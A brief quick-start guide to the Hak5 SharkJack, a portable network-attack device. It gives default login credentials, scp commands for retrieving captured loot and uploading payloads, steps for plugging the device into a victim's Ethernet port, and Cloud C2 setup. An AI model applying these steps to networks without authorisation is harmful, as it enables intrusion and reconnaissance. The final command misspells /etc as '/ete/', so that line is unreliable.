[HOW-TO] Operate the SharkJack ๐Ÿฆˆ

A Quick-Start Guide for the Hak5 SharkJack, a portable network attack tool

  2. Find the IP: Default is 172.16.24.1, run ifconfig to check
  3. Login: ssh root@172.16.24.1, using password hak5shark
  4. On first setup, change the default password, run passwd

Navigating the SharkJack

  • The active payload is located at: ~/payload/payload.sh
  • Captured loot is stored with the ~/loot/... directory
  • To save all loot locally, run: scp -r root@172.16.24.1:/root/loot/* .
  • To upload a new payload, run scp payload.sh root@172.16.24.1:/root/payload/

Conducting an Attack

  1. Flip into Attack Mode (fully forward), and wait for LED to go magenta
  2. Plug device into victim Ethernet port, watch LED's blink
  3. Once LED turns off, unplug device and switch to off

Out-of-the box, the ShakJack comes with an nmap payload, useful for initial network reconnaissance


Additional Tools

CLI Helper Tool

The SharkJack Helper a CLI tool for carrying out common tasks:

Web Interface

Once the firmware has been updated (V1.01 and newer), you can access the SharkJack's web interface by visiting 172.16.24.1 in your browser. From here you can view and modify the current payload, download your loot and view device status

Cloud C2

  1. Download and run Cloud C2 for your system, from https://shop.hak5.org/products/c2
  2. Go to Add Device --> SharkJack. Then select the listing --> Setup, and config file will download
  3. The device.config needs to be uploaded to /etc. Run scp device.config root@172.16.24.1:/ete/
